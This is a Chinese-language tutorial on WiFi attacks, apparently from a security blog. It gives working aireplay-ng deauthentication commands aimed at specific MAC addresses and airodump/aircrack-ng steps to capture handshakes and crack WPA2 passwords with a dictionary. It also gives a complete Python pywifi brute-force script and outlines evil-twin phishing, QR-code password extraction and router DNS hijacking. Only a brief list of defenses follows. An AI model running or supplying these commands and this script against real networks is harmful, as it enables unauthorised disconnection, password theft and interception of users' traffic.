浅析WIFI攻击手法
字数 2406 2025-08-23 18:31:18
WIFI攻击手法深度解析与防御指南
1. Deauth攻击详解
1.1 基本概念
Deauth攻击(解除认证攻击)是一种针对无线局域网(WLAN)的拒绝服务攻击方式。攻击者通过发送伪造的解除认证数据包,强制目标设备与无线网络断开连接。
核心原理:
- WiFi管理数据帧未被加密
- 攻击者可伪造管理帧
- 发送"取消认证"数据包切断AP与客户端连接
- 无需破解密码,只需目标MAC地址
1.2 影响范围
- 影响WIFI6(802.11ax)以下版本
- 例外:802.11w协议可抵御此类攻击
2. 攻击实施步骤
2.1 准备工作
-
开启网卡监听模式:
airmon-ng start wlan0 -
数据包捕获:
airodump-ng wlan0
2.2 airodump-ng显示参数详解
| 参数 | 说明 |
|---|---|
| BSSID | 接入点的MAC地址 |
| PWR | 信号级别(-40强,-55平均,-70弱,-1超出范围) |
| Beacons | AP发送的公告报文数量(约10个/秒) |
| #Data | 捕获的数据包数量(WEP时为唯一IV计数) |
| #/s | 过去10秒内每秒检测量 |
| CH | 通道号 |
| MB | AP支持的最大速度(QoS启用时显示"e") |
| ENC | 使用的加密算法(OPN表示不加密) |
| CIPHER | 检测到的密码(CCMP,WRAP,TKIP,WEP等) |
| AUTH | 使用的身份验证协议(MGT,SKA,PSK,OPN) |
| ESSID | 无线网络名称(SSID隐藏时可能为空) |
| STATION | 关联站的MAC地址 |
| Rate | 站的接收和发送速率 |
| Lost | 过去10秒内丢失的数据包数量 |
| Frames | 数据帧数量 |
| Notes | 客户端附加信息(如EAPOL或PMKID) |
| Probes | 客户端探测到的ESSID |
2.3 精确目标捕获
airodump-ng -d 68:77:24:65:EE:CF -c 11 wlan0
2.4 Aireplay-ng攻击选项
| 选项 | 攻击类型 | 描述 |
|---|---|---|
| 0 | Deauthentication Attack | 发送伪造Deauthentication帧强制断开连接 |
| 1 | Fake Authentication | 伪造认证请求建立虚假会话 |
| 2 | Interactive Packet Replay | 选择性重放已捕获数据包 |
| 3 | ARP Request Replay | 重播ARP请求生成新流量 |
| 4 | KoreK Chopchop | WEP加密攻击,尝试解密数据包 |
| 5 | Fragmentation Attack | 分段Wi-Fi数据包破解WEP |
| 6 | Cafe-latte Attack | 利用多加密密钥数据包攻击WEP |
| 7 | Client-oriented Fragmentation | 针对特定客户端的分段攻击 |
| 8 | WPA Migration Mode | 尝试从WPA切换到WEP模式 |
| 9 | Injection Test | 注入数据包测试网络安全性 |
2.5 Deauthentication攻击实施
基本命令:
aireplay-ng -0 10 -a DC:33:3D:76:55:10 -c 28:6B:35:26:D8:BF wlan0
参数说明:
-0:取消认证10:发送的解除验证数量(0表示连续发送)-a:接入点的MAC地址-c:目标客户端的MAC地址(省略则针对所有客户端)wlan0:接口名称
连续攻击模式:
aireplay-ng -0 0 -a DC:33:3D:76:55:10 wlan0
移动设备注意事项:
- 移动端可能使用随机MAC地址
- 此时只能不设置
-c参数攻击所有目标
3. Deauth攻击的进阶利用
3.1 获取WIFI认证握手包
步骤:
-
开始监听:
airodump-ng -d DC:33:3D:76:55:10 -c 1 wlan0 -w test-w test:将数据包写入以test开头的文件
-
执行Deauth攻击:
aireplay-ng -0 5 -a DC:33:3D:76:55:10 -c 28:6B:35:26:D8:BF wlan0 -
成功获取握手包后,可使用aircrack-ng破解密码
3.2 同名WIFI钓鱼攻击
原理:
- 创建同名同密码的虚假WIFI热点
- 利用Deauth破坏目标WIFI稳定性
- 设备自动连接信号更强的钓鱼热点
前提条件:
- 已知目标WIFI密码
攻击演示:
- 创建同名同密的虚假WIFI
- 通过Deauth攻击破坏目标WIFI
- 设备连接恶意WIFI
4. WIFI密码破解技术
4.1 aircrack-ng破解
基本命令:
aircrack-ng -a2 -w passwd_dic.txt test-02.cap
参数说明:
-a:强制攻击模式(1=静态WEP,2=WPA/WPA2-PSK)-w:密码字典文件.cap:捕获的握手包文件
指定目标方式:
-
通过BSSID:
aircrack-ng -a2 -b DC:33:3D:76:55:10 -w passwd_dic.txt test-01.cap -
通过ESSID:
aircrack-ng -a2 -e TP-LINK二楼 -w passwd_dic.txt test-02.cap
4.2 万能钥匙利用
- 连接存在密钥的目标WIFI
- 分享WIFI时截图二维码
- 使用浏览器扫描二维码获取密码
4.3 Python-pywifi模块
特点:
- 直接操作网卡爆破
- 无需握手包
- 速度较慢
- 支持WPA3加密
示例代码:
import pywifi
import time
from pywifi import const
def scan():
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
interface.scan()
for i in range(4):
time.sleep(1)
print('\r扫描 WiFi 中(' + str(3 - i), end=')')
print('\r扫描完成\n' + '-'*38)
print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
bss = interface.scan_results()
wifi_name_set = set()
for w in bss:
wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
wifi_name_set.add(wifi_name_and_signal)
wifi_name_list = list(wifi_name_set)
wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
num = 0
while num < len(wifi_name_list):
print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
num += 1
print('-' * 38)
return wifi_name_list
def wifi_password_crack(wifi_name):
wifi = pywifi.PyWiFi()
interface = wifi.interfaces()[0]
wifi_dic_path = input("密码字典路径:")
with open(wifi_dic_path, 'r') as f:
flag = False
for pwd in f:
pwd = pwd.strip('\n')
interface.disconnect()
while interface.status() == 4:
pass
profile = pywifi.Profile()
profile.ssid = wifi_name
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
tmp_profile = interface.add_network_profile(profile)
interface.connect(tmp_profile)
start_time = time.time()
while time.time() - start_time < 1.5:
if interface.status() == 4:
print(f'\rWIFI连接成功!密码为:{pwd}')
flag = True
break
else:
print(f'\r尝试破解WIFI,当前密码 {pwd} 。', end='')
interface.remove_network_profile(tmp_profile)
if flag:
return
def main():
exit_flag = 0
target_num = -1
while not exit_flag:
try:
print('WiFi破解工具'.center(35, '-'))
wifi_list = scan()
choose_exit_flag = 0
while not choose_exit_flag:
try:
target_num = int(input('请选择你要尝试破解的wifi:'))
if target_num in range(len(wifi_list)):
while not choose_exit_flag:
try:
choose = str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
if choose.lower() == 'y':
choose_exit_flag = 1
elif choose.lower() == 'n':
break
except ValueError:
pass
if choose_exit_flag == 1:
break
except ValueError:
pass
wifi_password_crack(wifi_list[target_num][1])
print('-' * 38)
exit_flag = 1
except Exception as e:
print(e)
raise e
if __name__ == '__main__':
main()
5. AP在内网中的利用
5.1 基本利用方式
-
访问管理界面:
- AP默认地址通常是1或254
- 访问80端口进入管理界面
- 初始可能无密码或弱密码(如123456)
- 或与WIFI密码相同
-
DNS劫持:
- 通过DHCP修改DNS为恶意DNS
- 实施钓鱼攻击
-
历史漏洞利用:
- 利用AP已知漏洞执行其他操作
5.2 实际案例参考
- 某AP漏洞案例1
- 其他厂商特定漏洞
6. 防御措施
-
协议升级:
- 使用WIFI6(802.11ax)或支持802.11w协议的设备
-
加密配置:
- 启用WPA3加密
- 避免使用WEP等弱加密方式
-
管理安全:
- 修改默认管理密码
- 定期更新固件修补漏洞
-
网络监控:
- 监控异常解除认证请求
- 使用专业工具检测伪造帧
-
客户端防护:
- 禁用自动连接功能
- 使用VPN加密所有流量
-
物理安全:
- 控制AP物理访问权限
- 合理部署AP位置减少信号泄露